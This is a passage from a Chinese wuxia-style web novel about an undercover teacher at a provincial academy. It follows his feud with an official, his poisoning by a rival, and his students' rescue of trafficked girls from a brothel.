“夫子,你都扫了一个时辰,剩下的我来吧。”见蔺渊还是不理会,便道:“我这就去教训那个姓何的。”说着就扔掉笤帚转身就走。
“站住。”蔺渊终于发话。
上官竹立马折返回来,笑嘻嘻的道:“夫子跟我说话了,您不生气了?”
“这事很光彩吗?还笑。”蔺渊有一下没一下的扫着地。
何止是不光彩,简直是丢死人,身为夫子被罚扫地,还那么多学子旁观,身为夫子的威望早就如同着落叶般入为泥土。
“老何就是拿我没办法,才拿您出气的,是我连累您了。”上官竹捡起方才丢落的笤帚帮忙扫起来。
“你别帮忙,省得学官又挑刺。”
“这么大的堂院您如何扫的完,马上晌午了,扫不完又不能吃饭......”上官竹都替蔺渊委屈。也不知道这次他后不后悔顶撞学官。
才说到吃饭就有人提着食盒出现,冉晴打开食盒道:“学生做了些点心,不算多好吃,起码能果腹。”
上官竹抢先接过来道:“多谢冉师姐。师姐近日又漂亮许多,这桃花裙衬着师姐熠熠生辉。”
“有了点心,岂能无茶。”又有人拎着食盒出现。吴夫子的出现还是让蔺渊有些惊讶。冉晴帮吴夫子将茶点摆盘后便离开。
“何学官的脾气就是如此,他没有什么坏心思。一门心思只想为书院好。”吴夫子为掌事学官说上几句好话。
蔺渊能说什么,不过附和两句有的没的。
这种面子上的话说多了也没意思。吴夫子拿起点心道:“冉学子的手可真巧,夫子尝一尝?”
蔺渊摇摇头,他气都气饱了,哪里有心情品尝点心。
吴夫子能理解蔺渊的心情,读书人哪个不是心高气傲的,哪个又能受此番折辱。
她面向上官竹,点了点他的脑门道:“下次再闯祸前想想你的夫子。他不欠你,你明不明白?”
上官竹认真点头并承诺道:“学生以后再也不惹事了。保证!”
“嗯,这才对嘛。”她微笑着道:“别的不说,阿竹的字写得真不错。到时候去我观中写几幅字。”
“嗯。”他恭敬的拱手行礼,还别说,上官竹乖巧时挺招人喜欢的。吴夫子慈爱地拍了拍上官竹的肩头:“去,替你家夫子扫地去。”
“诶。”蔺渊刚要制止,吴夫子抬手道:“无妨,掌事学官不至于如此苛责。学兄安心坐下吧。”
二人对坐饮茶,安静许久。吴夫子率先开口道:“中秋佳节学兄有何安排?”
“没什么安排。”
“不回家看看吗?”
“远在他乡,还是不奔波了。”他的视线一直盯着前面扫地的上官竹。
“那......东湖码头安排的有画舫,学兄若是没有别的安排,你我二人游湖赏月如何?”她眸子微转,虽说是看着手中的杯盏,但视线总是若有如无的瞟向蔺渊。
36. 真的好窝囊的一天
“咳咳。”蔺渊被刚入口的茶水呛到,面对吴夫子递来的手帕,他干脆起身拿过上官竹的笤帚扫起地来。
“夫子?”上官竹愣愣地垂着手,这年头咋还有抢着干活的。
吴夫子又坐上一会儿,见蔺渊只顾着扫地,自觉没趣便离开。上官竹忍不住八卦道:“吴夫子跟您说了什么?”
“没什么。”
“哦。”上官竹坏笑道:“是不是约您中秋赏月?”
“没有的事,别瞎说。”蔺渊背过身去继续扫地。
上官竹偏要缠上蔺渊问东问西。上到父母兄弟,下到儿女亲家恨不得都打听一遍。
“夫子,哪天把师娘接过来吧,邓州风景多,古刹也多。学生请师娘好好游历一番。”
“哪里来的师娘,我怎么不知道。”蔺渊扒拉开上官竹。
“不是吧,您竟然没成亲?你都多大岁数了!”上官竹惊讶到合不上嘴巴。
“不到三十岁,很老吗?”
其实才二十八。
嗯....还没过生辰,应该算二十七。不过按照京城的规矩,正月的生辰虚两岁,虚着虚着也就三十了。
“什么,您还不到三十岁!”上官竹又是很惊讶。
蔺渊都气笑了,他停下手里的活盯着上官竹,一字一句的问道:“我很显老吗?”
“不是不是。”上官竹连忙摆手道:“您长得非常年轻,是我以为的.....我们以为您十年前在京做官,到现在怎么也得跟我父亲差不多四十来岁了,没成想您那么年轻。”
“我十八岁便已为官。”
“那您是十六七参加春闱?岂不是十四五就是秀才?”
“我没参加春闱,走的阁试。”
“阁试?那是什么?”上官竹第一次听说这个词。
“同正三十五年有过一场制科,由陛下亲自安排,遵循先制在秘阁进行考试,故称阁试。制科我入第五等,等同于二甲进士。”蔺渊解释自己为何如此年轻便拥有进士功名。
上官竹心生羡慕,感叹道:“如今要还有制科就好了。”
蔺渊看他那傻样,笑道:“制科并不简单。首先需过府试,还需有四品以上官员推荐,呈交自己平日的策论五十篇,得到“次优”以上的评分才可入秘阁。
阁试为试论六篇,要求五百字以上且一日内答完。方可进入复试。
复试由陛下亲自出题,需在当日内完成三千字以上的策论。”
上官竹听完泄了气般耷拉着脑袋,囔囔道:“果然没有捷径。”
“是啊,读书没有捷径。好好努力吧。”蔺渊拍拍他的肩头以兹鼓励。
两人聊的正好好的,上官竹的表情突然变了,小声提醒蔺渊道:“唐黎来了。”
唐黎在得知蔺渊被罚后第一时间赶往杏林正堂,到地就夺过笤帚道:“扫什么扫,不嫌丢人啊。知道别人背后怎么议论你的。”
“我....”蔺渊本想表示自己不在意。但唐黎完全不给他回答的机会,拉过他就走,边走还边说道:“谁爱扫谁扫。敢欺负到我头上。”
“欺负的是我,我都没生气。”蔺渊笑着道,心里还是很开心唐黎这般维护自己。
“你不了解何坤,他就是欺软怕硬。信不信你这次忍了,下次他还找你事。”
对此蔺渊表示:“你们少惹点祸,他就没有理由迁怒到我。把笤帚给我,马上我就打扫完了。”
旁边的上官竹附和道:“是啊,夫子都快打扫完了,这时候走了,岂不是白费功夫。”
“你闭嘴,就是你惹得事。”唐黎上来就训斥着上官竹,上官竹愣是一声也不敢吭,低着头躲到蔺渊身后。
蔺渊从中调和道:“好了,好了。他知道错了,何苦又要骂他。”
有人撑腰的上官竹竟有胆朝着唐黎做鬼脸,唐黎抬手就要打,俩人绕着蔺渊打闹起来。
年轻人的朝气总是充满活力,蔺渊看在眼里也觉得十分喜欢,满目微笑着看他们玩闹。
煞风景的人总会出现,掌事学官大吼一声道:“干什么!这里是杏林正堂,怎能嬉笑打闹。蔺夫子你竟然纵容他们!”
唐黎一个跨步上前道:“嬉笑打闹的是我,干夫子何事?”
“教导学子本就是夫子的责任,他任由你们胡闹,就是他的过错。”
蔺渊拉拉唐黎的袖角示意她别再说了,若是惹怒学官最后受牵连的还是我。南衙交代的事还未完成,万一被赶出书院,这一个月的潜伏全都白费。
他只能忍气吞声的拱手道:“学官教训的是,都是在下的过错。”
对于蔺渊态度何坤还是满意的,他点点头不再追究蔺渊,反而把目光投到唐黎身上,她的错处十分明显。
“身为学子为何不着书院服制?”
“是,学生这就穿。上官。”唐黎摊开手,上官竹立刻明白她的意思将外衫脱下。唐黎转手就披到身上,冲着学官拱手道:“学生已按照您的要求穿着,请问学官还有什么吩咐。”
“你!你身为女子如此不知检点!”学官气得不轻,话都说不利索。
蔺渊也觉得此举不太妥,就算有亲戚关系也该避嫌才是。
可唐黎的脾气就是如此,横主儿的名头可不是白叫的。
她脚尖微跳勾起笤帚,抬腿便将笤帚踹到一分为二,踢到学官面前。左右手分别拉过上官竹与蔺渊,扬长而去。徒留掌事学官气到跺脚,跑到山长面前告状。
蔺渊本以为这次掌事学官定会报复回来,谁知等到晚上也没有信儿,横主儿果然有些本领。眼看明日就要休沐,想必学官也不会找事。
终于清静了。
蔺渊眉头紧皱捏着一封信,南衙专门派人来协助,这本是好事,可这眼皮一直微跳总觉得心里不踏实。
他在院中将信件焚毁,抬眸望向天空。今夜天气晴朗,近乎圆了的月亮勾起思乡之情。
可惜已无人可思,亦无人可念。
“了无牵挂,挺好。”蔺渊垂下眼眸,他怕再看一眼月亮,心中的那份孤寂便要显露而出。
推开屋门,脚才踏入门槛便察觉到暗处隐藏有人。蔺渊脚步微错躲过对方的袭击,后背紧贴于墙壁完全戒备状态。
黑暗中破风而出的一掌直接落在蔺渊肩头,对方似乎还留有情面,在最后时刻收了几分力道。不然蔺渊的肩胛骨便要断掉。
蔺渊闷哼一声捂上肩头:“初月姑娘,何必下此狠手?”
初月从黑暗中走出,轻笑两声道:“诓我入藏书阁,害我被官兵所伤,是与不是?”
“初月姑娘误会。蔺某真不知藏书阁中会有兵马司的重兵把守。好在合盟书未被挪动,你我还有机会。”
初月冷眼看着他,目光带着些许嘲弄之色:“白虎山的头领竟是个废物,那天你说自己武功不佳时,还当你是谦虚。这么看来倒是实话实说。”
“蔺某是个老实人。不爱撒谎。”
初月把玩着手中的匕首,转手就架在蔺渊的脖颈处。
“道上都说见过蔺二爷出剑的人已经死了,今儿我偏要瞧瞧这凤鸣古剑。”她伸手摸上蔺渊的腰间,却没发现想要的东西。
“剑呢?”
“卖了。”
“卖了?你哄我?”如此珍贵的宝剑,仍谁也不会随意变卖。
蔺渊乘机拉开女子的手道:“剑而已,姑娘若是喜欢,跟我回白虎山,各类刀剑任你挑选。”
他把烛火挨个点亮,示意初月落座。
“蔺渊,你可别哄我。”这是进屋来,初月第三次提醒他。
可见她对蔺渊是多么的不信任。
“合作共赢,
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这点道理蔺某还是懂的。”蔺渊倒杯茶递与初月。
初月猛地摁住他的手腕,手中的茶盏渐出不少水来。初月的手劲不小捏得蔺渊生疼。她将蔺渊拉近些道:“得不到我想要的,你也不会如意。”
“怎么?要杀我?”
“杀你岂不是便宜你。你若是被赶出书院,再想进来可就难喽。任务完不成,南衙那位姓莫的脾气,你比我清楚。”
蔺渊不以为然的笑道:“换个威胁的招数行不行。我既然能进书院,背景自然是安排好的。你就是说破大天去也不会有人信你。”
“哦,是吗?”初月笑了起来,眯起眼的如同狐狸般狡诈,她起身走到门口便开始脱衣解带,脱一件就往蔺渊身上扔一件。
“你干什么!”蔺渊压低声音,快步走到她面前。
初月手上动作不停,挑衅般看向蔺渊道:“夫子要是与女学子发生点风流韵事.....”
“.....”
她又扔了件衣裳道:“你会被万人厌弃,被读书人所唾弃。令人尊敬的蔺夫子怕是再也入不了任何书院的大门。”
蔺渊并没有继续制止她的动作,反而坐到床榻上,双手抱臂饶有兴趣地道:“继续吧,反正我又不吃亏。”
那表情宛如看戏,初月脸上闪过一丝羞恼,随即又想到什么,勾起嘴角冷哼一声。她将自己的头发打乱,趴在窗口便喊道:“救命....非礼啊.....”
蔺渊来不及反应,以最快的速度冲出捂住初月的嘴。
“初月姑娘,请自重!”声音很平静,但在初月耳里却像是从牙缝挤出来的一样。
“你怕了?”初月挣扎着从他怀中挣脱,笑得妩媚至极。
蔺渊郑重的说道:“女学子求学原比男学子要艰难。你这般闹起来,赶我出书院也就罢了,连累到其他女学子的清誉如何是好?”
初月不以为然的昂了下头道:“关我屁事。”
“同为女子,我恳求你为她们着想一二。”
蔺渊服了软,说了软话。初月满意的点点头,她也不着急穿衣裳而是悠然喝茶。蔺渊守在门窗前,生怕初月发神经的又要喊些什么。
“夫子。”上官竹的声音划过天际,他还未进院就将来意表达清楚。
“我收到祖母的信了,休沐期间您跟我回家玩吧,我家就在隔壁州府,那里有天下第一的瀑布,虽说秋日里水少些,也算得上壮观。”
他拍拍门道:“夫子,睡了嘛?”
此刻的蔺渊哪敢吱声,他轻手轻脚的捡着初月的衣服,想请她赶快离开。
可初月偏不走,这回换她看戏般的盯着蔺渊。蔺渊拱了拱手,又作了个揖,那副模样憨态可掬让初月的笑容更大。
上官竹察觉到屋里有人影在动,他一边一推门一边道:“我进来了。”
可门是被反锁的,上官竹又敲门道:“夫子?夫子!”
初月揪过蔺渊的衣领低声道:“我给你十日时间,必须拿到同盟书!”
命令的语气让蔺渊很不爽,但此刻的他只想着哄着初月离开。这情况让任何人看到,真是百口莫辩。
“放心,我知道。”他话还没说完,腹部就挨上对方一拳,紧接着就有异物进嘴,等吞咽下去才反应过来被人喂了药。
“怕夫子哄我,不得已的手段。十日之内拿不到我那份同盟书,夫子没有解药便会一命呜呼。”
蔺渊还是那副平静的模样,他微笑着拱手道:“必不负佳人所托。”
“最好如此。”初月从后窗离开
见人走远,蔺渊连忙伸手抠喉咙,想通过呕吐把药吐出来。可惜早已进入肚中,无力回天。
“妈的。”蔺渊狠狠捶了把地,这下好了,被人拿捏的死死的。
我最近犯太岁吗?怎么老受这窝囊气。
37. 水月楼的不正常
那边上官竹还在敲门,不一会儿又传来唐黎的声音:“大晚上喊什么?”
“屋里亮着灯,怎么叫都没回应。别是夫子出事了。”
唐黎也觉得异常,她向来是行动派,抬脚就要踹门时门却开了。蔺渊假装伸个懒腰,打个长长的哈欠道:“小祖宗们,又有何吩咐?”
上官竹直接进屋,又重复一遍方才的话,蔺渊则是婉拒他的邀约。随着进屋的唐黎发现不对劲儿,她直接问道:“你屋里来过人?”
蔺渊笑着掩饰道:“方才困了,睡的早些。哪里有人来过。”
“不对。”唐黎指着桌上道:“你的茶盘向来整洁,从未见过如此凌乱。还有这水痕,以你的性子绝对不会放任不管的。”
“行了,你在这推案呢。不就是随手放了几个茶盏,谁还没有懈怠的时候。”上官竹挤到唐黎前面,还是想请蔺渊随自己返乡。
唐黎揪着他脖领子给拎到一边。看那模样要继续审问屋里是否有人之事。
蔺渊抢先询问道:“唐学子这么晚了,有事?”
“哦,顾相公方才给我们带了口信,明天就可以参与案件调查。我来是想问下你有什么嘱咐的吗?或者需要嘱咐的细节。”唐黎差点忘记正事。她怕明日蔺渊休沐不在书院,就想着今晚来问。
“这件事顾相公还没有上报州府衙门?”
“没有。”
“这个顾平安。”蔺渊转念就明白顾平安的想法,他想立功便不能报衙门,私下查清后直接上报南衙,也不用担心功劳被人截胡。
至于唐黎林焕反倒成了不用给酬劳的白役。而且学子的身份使得二人走访更加便捷。
罢了,是她们想查的,被人当催使也自找的。
“喂?”唐黎还在等蔺渊的话。
“听顾相公的安排吧,一定要注意安全。”
一旁的上官竹完全听不懂,他好奇的问道:“什么事啊?我咋听不明白。”
得知唐黎林焕要去查案,他自告奋勇的举着手,家也不回了,也要跟着去查案。
....
随着中秋佳节的来临,邓州城那是热闹非凡,街道上张灯结彩,等到了晚上更是要比现在美上数十倍。
唐黎与林焕按照顾平安的指示走访邻间,试着找到四位死者间的关系。她们特意穿上书院的服制,希望以此能降低被问讯者的敌意。
只是这身衣服并不太适合出现在水月楼。
“这大清早的,姑娘们有事?”
老鸨看到两位女学子也是挺震惊,不过她人还是挺好的,笑眯眯地道:“怕你们嫌我们楼里不干净,咱们还是去对面茶楼说话。”
唐黎为老鸨倒杯茶道:“我们主要想问问璃羽姑娘。”
“衙门不是问过了吗?”老鸨上来就装傻充愣道。
唐黎直接放下二十两的银子道:“买十个问题,够吗?”
“那自然是够的,学子请说?”
还未等唐黎这边发问,水月楼那边发出动静。白天水月楼是不开门的,突然跑出个姑娘喊上一嗓子,也就这一嗓子便被壮汉打晕抗回去。
唐黎的眼神立马射向老鸨,老鸨只觉得头皮发麻。她不理解一个小姑娘为何会有如此威慑力的眸子。
“阿唤,看好她。”唐黎从二楼飞身而出,直接落到水月楼的二楼利索着翻窗进去。
“诶!”老鸨自然是坐不住,她刚要起身却被林焕一把拉住。无论她怎么挣扎就是挣脱不开,而林焕仿佛没反应般气定神闲的喝着茶,另一只手死死抓住老鸨的胳膊。
老鸨忍不住吐槽道:“小姑娘你怎么这么大劲儿!”
白天的水月楼无比安静,所有人都处于睡梦之中。唐黎放轻脚步游走在二楼天井处,寻找大汉与女孩的踪迹。
“咦,怎么有位女学子?”非常安静的氛围下,身后响起一声疑惑。
唐黎赶紧捂上对方的嘴并将其拉进屋子。
“不许出声!”她发出警告的。
姑娘点点头,妖娆地将唐黎的手推开,指下唐黎又指下自己,笑盈盈地道:“咱们都是学子啊。”
唐黎这才发现此人披着花洲书院的制服,不过却是男学子的样式。
床上传来打哈欠的声响,紧接着道:“阿彩姐姐,来给我送早餐了吗?”
当听到上官竹的声音时,唐黎怒步上前将他揪下床来。上官竹迷迷糊糊揉了下眼,他没看清来人,非常不客气的推开唐黎道:“什么人也敢拉扯本公子。”
“啪。”这一巴掌打的结实,直接把上官竹打到愣在那里。
唐黎气到不行,她指着上官竹的手都在颤抖:“好啊,好的很啊!书院三令五申不许学子入烟花柳巷,你倒是好啊,三天两头往这里钻,还想蔺万宗被学官责罚吗?”
“唐唐唐.....”上官竹捂着脸,疼痛让他清醒过来,他委屈巴巴的拉着唐黎的袖子道:“姐,大姐你就别生气了。”
唐黎没好气的收回袖子道:“谁是你姐?”她指着阿彩阴阳怪气的道:“这位才是你的好姐姐!”
阿彩尴尬地笑了笑,她见气氛不对赶紧把披在身上衣服脱掉,然后就想溜。唐黎直接堵在门口道:“回去。”
“弟妹,莫生气。我和阿竹真的没什么,我就是来送早餐的。”她把唐黎当做来捉夫君回家的主母。这种事虽说很少见,但确实发生过。
“谁是你弟妹。”唐黎吐了口气,平复下心情,差点被上官竹气的忘记正事。
“我问你,你们楼里是不是逼良为娼!”
“这....没有吧,水月楼里的人在衙门里备过案,都有记录的。”阿彩讨乖的笑着。
心情不好的唐黎一脚踏在旁边的矮桌上,拔过头上的簪子抵在阿彩的脖颈处道:“你想清楚了再说。”
“我....我....”阿彩都快哭了,吓得磕磕巴巴不知所措,她把救的目光投向上官竹。
“她就算知道也不能说啊,会被活活打死的。”上官竹拿过外衫披好衣裳道:“我带你去。”
青楼的姑娘都不知道?上官竹知道?鬼才信。
唐黎完全不信他,白了他一眼道:“少诓我。”
“没诓你。”上官竹揉揉脸真就要带起路来。
阿彩一路小心翼翼的跟着,上官竹扭头道:“阿彩姐姐回去吧,我知道地方。”
“可...可是你昨晚点的是我,你们要是去了后面,妈妈只会怀疑是我告密的,我我……我活不长的。”
“是哦。”上官竹点点头道:“那你就跟着吧,到时候我替你赎身。”
“诶。”啊彩笑起来非常明媚,她殷勤的揽过上官竹的胳膊,上官竹却不动声色的躲开,挪到唐黎身边与阿彩隔开一段距离。
唐黎又阴阳怪气道:“倒是个多情公子。”
“你别胡说。我是给姐姐们填词的。可不是来消遣的。”
唐黎白了他一眼,表示鬼才信你的话,还是冤头鬼。
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“你得信我啊,别人来消遣是花银子,我来这里却是姐姐们给我银子,你明白了吧?”上官竹连忙解释,否则自己的清白就没了。
“哦,我明白了。这么说是姑娘们消遣你呗。”
上官竹的脸青一阵子,绿一阵子,被唐黎一句话噎到没话说。
“阿竹说的是实话。姐妹们都喜欢他填的词。”阿彩为上官竹作证道。
上官竹推开面前的窗户,指着不远处道:“那个柴房就是密室入口。估摸着你说的那个女孩就这那里。”
“你怎会如此清楚?”
“自打璃羽出事后我就开始留心水月楼,这里几乎被我摸透了。昨天听你说起梅花针的案子,便回忆起璃羽甚是喜欢梅花,想着来水月楼再查查,然后阿彩就告诉我这个后院不太对劲儿。”
“你倒是长情。”唐黎如实评价道。
“这是重点吗?重点是后院有问题!”上官竹又被噎到没话说。
阿彩这时开口道:“柴房确实不太对劲。那些被关的女子是好人家的姑娘,是拐卖来的。”
唐黎问道:“你确定?”
“我们姐妹看到她们就想到刚入楼的自己,不愿接客的姑娘会被扔到柴房调教,那日子真不是人过的.....”阿彩不愿回忆的摇了摇头,唐黎被她的神情所触动,递上方手帕。
阿彩擦掉眼泪继续道:“姐妹们心疼的紧,就溜进去送些吃食、衣物的。想着劝劝她们,从了吧,也不用再吃苦头。然后有位小姑娘偷偷塞给我个布条,她会写字啊!写的还是那样端正。你想,会写字的姑娘啊,定是好人家的,没准还在读书呢。”
上官竹接过话头道:“是用血写的。与阿彩姐姐猜测的一样,她们是被拐卖而来的。”
“你不报官,为何要把这些事告诉上官竹?”唐黎审视的眼神投射过来。
阿彩低下头道:“我们人微言轻的官府必定不会重视,惹恼妈妈吃亏的还是自己。能拐来这么多姑娘,怎么进的城?怎么入的奴藉?这些关节都需要官府来做。学子啊,大多时候报官是没有用。”
此话一出,上官竹与唐黎脸色都变了变,二人家中均有当官之人。
他们信任官员是因为他们的家人本就是官,换言之因为他们是官眷才会得到其他官员的优待。可对于平头百姓来说那就是另外一副光景。
“阿彩,咱们换下衣裳。”唐黎打算装扮成楼里的姑娘,试着混进去。
唐黎掖好裙摆打算出发,上官竹一把拉住她道:“直接闯进去?太莽撞了吧,此事还需要从长计议。”
“你错了,解救应该越快越好,要是老鸨回过味来将人转移,我上哪找人去?”这是唐黎的想法,要打定主意救那就现在救,没什么好拖沓的。
既然唐黎非要深入险境,上官竹便打算舍命相陪。那里面是什么情况根本就不清楚,让唐黎只身前往太过危险。
唐黎却交给他另外的任务道:“你去报官,好接应我。”
“我这无凭无据的衙门凭什么听我的。”
“找顾平安,实在不行就把你爷爷搬出来。”
“没必要惊动他老人家吧。”
“那你就想办法让顾平安带兵过来,记住一定要暗中行事,别惊扰到水月楼背后的势力。”唐黎手撑窗棱直接飞身而下。
那矫健的身影把阿彩都看呆了。
除了满眼的惊艳,还有羡慕。原来女子还有这样的活法,那样自信张扬,那样轰轰烈烈。
38. 胡姬唐黎
推开柴房的门整件屋子空空荡荡的,破败的烂布下藏着一道暗门,这么简单的隐藏,看来水月楼是有恃无恐。唐黎紧贴墙壁小心翼翼的往深处前进。
如阿彩所言,这些女孩被关在昏暗的房间里,足足有五间房。唐黎拔下簪子,对着锁眼鼓捣两下便将大锁撬开。她插回发簪,眉毛一挑甚是欣喜,没想到跟侯保学的手艺这么快就用上了。
屋里的姑娘对于闯进来的唐黎无甚表情。被关在这三面是墙的房间里不见天日,吃不好睡不好,终日里提心吊胆的任谁也提不起精神。
唐黎挨着墙角坐下,她扒拉下身边的姑娘,姑娘抬了下眼皮没有搭理唐黎。唐黎又道:“我是衙门的,特地来救你的。”
依旧没什么反应,似乎对能出去这件事不抱任何希望。
唐黎试着拍了七八个人,都是一样的态度。一个个如同木头般,直着眼呆呆地望向前方。
“没用的。”一道稚嫩的声音响起。唐黎连忙来到她面前,这姑娘看起来不过十四五岁,打扮的精致漂亮,胳膊上却有被抽打的痕迹。
“东家给她们吃了药丸,药效起来的时候就是这样,呆呆地不知疼痛,仿佛不是个人。”她解释了为何女孩是这幅模样,然后又道:“我叫杨茜儿,林州人士。姐姐真是衙门的人?”
唐黎狠狠地点头道:“是的,就是来救你们的。”
杨茜儿一把拉住唐黎的手道:“不止我们这些人,还有,还有.....”
这时门外传来动静,唐黎连忙捂住小女孩的嘴,警惕地盯着门口。就听守卫发出疑惑的声音:“奇了个怪,这锁怎么自己开了?”他探头往屋里看了眼,发现没什么异常就拉下铁链重新将锁扣上。
听到锁扣上的那一声,唐黎的心都漏跳一拍,这下完了呀。
杨茜儿依旧拉着唐黎的手继续说道:“我们是装船运来的,一共有七八十人,后来被分别带走。”
唐黎把自己的安危放到一边,追问道:“带到哪里?”
“不知道。我们都是被装箱运的。哦,对了,刚下船时被带到小院,那院子经常传来色子,叫嚷大小的声音,似乎是家赌场。”她后知后觉的指着门口道:“姐姐你好像不能出去了。”
“我试试吧。”唐黎拿出糖果分给杨茜儿一块,自己吃了两块。
起身拔剑一气呵成,朝着黑绣的铁门狠狠劈下去。
本是抱着试试看的心态,却没想到真的有光亮照射进来,铁门被生生劈出一道缝隙。
唐黎大喜,她得意的冲女孩笑笑,女孩也是笑意满满,满怀希望的看着唐黎的手中的剑。
反手又是一劈,剑身带着火花划过。
巡查的守卫察觉到异动特地来观察,好好的铁门竟然现出X的痕迹,他抬手查看,门内却传出好似出现踹门的动静。
一下,两下,三下....
守卫慌乱地呼叫其他兄弟,这么大的力气不可能是屋里那些姑娘能做到的。
“砰!”伴随第五下的声响,一道粉影破门而出。飞来的铁门将守卫砸晕过去,唐黎瞥了眼道:“不好意思哈。”
这里的动静很快引来所有的守卫,他们举着刀慢慢地将唐黎包围。唐黎抬手数了下人头数:“就你们七个吗?”说着就活动起手腕脚腕来。
七个人确实不够唐黎打的,她抬手敲晕最后一个守卫后,上官竹领着顾平安正好现身。
“你们来的还挺巧。”唐黎收剑后将杨茜儿领到顾平安面前道:“有什么事都跟这位顾相公说。”而她则是转身就走。
上官竹追上唐黎的步伐道:“你又要去哪?”
“邓州城内有几家赌坊?”唐黎转过身来,秀丽的眸子斗志满满。
她爱死这刺激到血脉贲张的感觉。
......
不同于唐黎那边的惊险,留守花洲书院过节的蔺渊这边岁月静好,还有闲情雅致做起月饼。
“宝儿,尝尝这个,肯定比刚才豆沙的好吃。”
苏天赐狠狠摇了摇头,他再吃一口恐能登极乐。夫子做的月饼咬不动就算了,月饼馅更是难以下咽。
“夫子,求您了,别下厨了。”苏天赐可怜巴巴看着桌上的食盒。
本来夫子陪着过节他还是挺开心的,谁承想这席面也太难吃了!
蔺渊抱歉的笑道:“月饼是我第一次做。饭菜我可是做了二十多年,试试。”
苏天赐试探的尝了口,觉得味道还行,又吃上几口,发现夫子做饭还真有一手,于是他便大快朵颐起来。
“慢点。”蔺渊在旁边温声提醒。
“哦。”苏天赐点点头,像是想到什么抬头道:“吴夫子托我给你带封信。”
蔺渊接了过来,是邀请游湖赏月的帖子。
“你把信带回去,说我不在,没见到人。嗯……就说我下山会友。”
“我从不撒谎。”苏天赐眨眨眼,一本正经的道。
蔺渊夹菜的手一愣,随即道:“你没有撒谎,我确实要下山会友而且一会儿就走。”
“哦。好吧。”他也不再多问,继续吃饭。
蔺渊所说的会友其实是与南衙派来的人接头。
裕王来邓在即,目前除了初月外,三月前放火的那波人还未现身,是否还有隐与暗处之人,这些都是隐患。
南衙此刻派人正是时候,可对于南衙安排的人,蔺渊有些发憷,他特别害怕来的是那个人。
“应该....不至于会这么巧吧。”酒楼上蔺渊正依着栏杆眺望远方。他在陪苏天赐吃完饭后就下山来找白虎山的兄弟们。
“嗯?哥哥方才说什么?”侯保扭头看了看。
“哦,我是说崔正那事查了吗?”蔺渊将思绪收回,继续与侯保之前的对话。
“问过弟兄们,没人出手。但这已经不重要,所有人都认为与白虎山有关,非要把崔正的死赖到您身上,咱们能怎么办?”
“是不好办。”崔正的死导致其所在的帮派叫嚷着复仇。
要搁之前这类小帮小派蔺渊根本不会放在眼中,可偏偏自己还要潜伏与书院,今日倒是要忌惮这帮乌合之众。
为保万全,蔺渊派侯保与这个帮派谈了谈,先解释一二。
实在解释不通的话就用银子买清静。
谁知这伙人认为白虎山在示弱,又觉得白虎山被朝廷剿的实力衰退,便大言不惭的要让蔺当家的亲自来谈。否则就把花洲书院夫子是土匪头子的事昭告全城。
侯保擦着匕首道:“依小弟看,直接带兄弟们灭掉他们得了。”
“不可。”蔺
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渊抬手道:“南衙的人已经入邓。这段时间能不动手就不动手。我先去会会那个姓温的,估摸着是想多讹些银子。”
“那行吧,让几个兄弟在赌场门口守着,我在高处护着你。”他掏出个匕首递给蔺渊,他知道蔺渊的凤鸣剑给了唐黎,身上没有防身之物。蔺渊却摆手表示不需要,带了也会被人收走。
果不其然,进入赌场直接被搜身。对方在蔺渊身上除了搜出一个小弩机,再无其他。
“蔺当家的好胆量。”坐在虎皮凳上的温争剔着牙上下打量着蔺渊。倒是和传闻里的一样,是个白面皮的书生。
面对审视蔺渊一直带着从容的笑容,拿起弓弩挨个拆除三支弩箭随手扔到桌上,他扬了下弩机道:“家里小孩的玩意儿,我先拿着,别一会忘在这里了。”
“您随意。”一般小型弓弩只有三发,蔺渊刚才将三发箭簇卸下,构不成任何威胁。紧接着蔺渊从怀里掏出两张百两的银票放到桌上。
“这么说,蔺二爷是承认杀了崔正?”
“并非白虎山所为。”
“既然没有杀人,那这两张银票是几个意思?”温争瞥眼银票,摸着脸颊的胡子道。
“行走江湖嘛,交个朋友。”蔺渊又笑了笑,他端起茶盏不动声色的看向屋顶,此刻屋顶出的瓦已被掀开小小的缝隙,说明侯保已经就位。
看来这伙人的警惕性不高呀。连屋脊上蹲了个人都不知道。
安全感十足的蔺渊闻了下茶,赞赏道:“上好的龙井,温当家的好品味。”
面对蔺渊的示好,温争停顿一二随即一双小眼笑得有些渗人:“是啊,交个朋友。”他派人收起银票,朝着门外拍拍手紧接着就有美人捧着酒坛如鱼贯入。
美人全做胡姬打扮,露着白皙纤细的腰肢,青丝如瀑披下,偏偏又用面纱蒙了脸,神秘而诱人。
“早就听闻白虎山聚义天下英豪,大口吃肉,大口吃酒好不快活。”他揽过一位美人打开一坛酒,仰头豪爽的闷完一坛,亮出空坛道:“今日就让小弟来招待你。”
蔺渊笑得有些勉强,他不怎么喝酒的,并非是什么读书人自命清高,而是酒量不行。
就方才温争闷的那坛能把蔺渊喝趴下。但是此刻情境下又不能不喝,蔺渊倒满一杯算是意思意思。
这点惹到温争十分不快,非得认为蔺渊看不起自己,嚷嚷着让蔺渊闷一坛。
而堂下七八个人的目光全在蔺渊身上,有的人不动声色的拿起武器,似乎蔺渊不给面子就直接砍杀。
蔺渊也很无奈,他试想过温争会有所刁难,委实没想到会栽在一坛酒上。
本意是不想见血的,这下估计难喽。
整间屋子安静极了,蔺渊都打算一会儿要是撕破脸皮就摔杯为号让侯保带人进来。
在双方僵持之际,其中一名胡姬捧着坛酒,大胆的迈着莲步来到蔺渊面前,随之而来的还有股竹子的清香。
这香味是.....
蔺渊抬眸就对上胡姬那熟悉的眼睛。她俏皮的眨了眨眼,笑意直达眼底。
唐黎!?
蔺渊震惊之余,视线下移便注意到她那白皙的腰肢,眼神瞬间慌乱不知要如何是好。
“英雄就干了这坛吧。”说着玉手托起酒坛直接灌起酒来。
39. 别怕,我护着你
在唐黎的帮助下,这坛酒几乎是顺着蔺渊的脖颈流了下去,根本就没喝几口到肚中。却在温争等人眼中算是过了关,反正他们喝酒也那样,洒出来的比进肚的多。
蔺渊做了个畅饮的姿态,起身冲着众人拱手道:“实在不胜酒力。各位见笑。”
温争走下主位又敬上一杯酒,然后他的视线就一直落在那位大胆的胡姬身上,似乎对她非常感兴趣。
高挑的个子,明媚的大眼睛,白嫩的皮肤,还有那露在外面紧实的腰肢。
啧啧,看起来就比别的女子要有劲儿,当真是尤物啊。
慢慢地就连与蔺渊说话也是心不在焉。
“温当家的?温当家的?”在众人的提醒下才回过神来,他吞了下口水道:“咱们明人不说暗话,小弟知道蔺二哥与漕帮安大有是拜把子兄弟,漕帮有一半的船由您调派,小弟想请漕帮的船过趟邓家口。”
“哦,温当家的手里有货要走?”
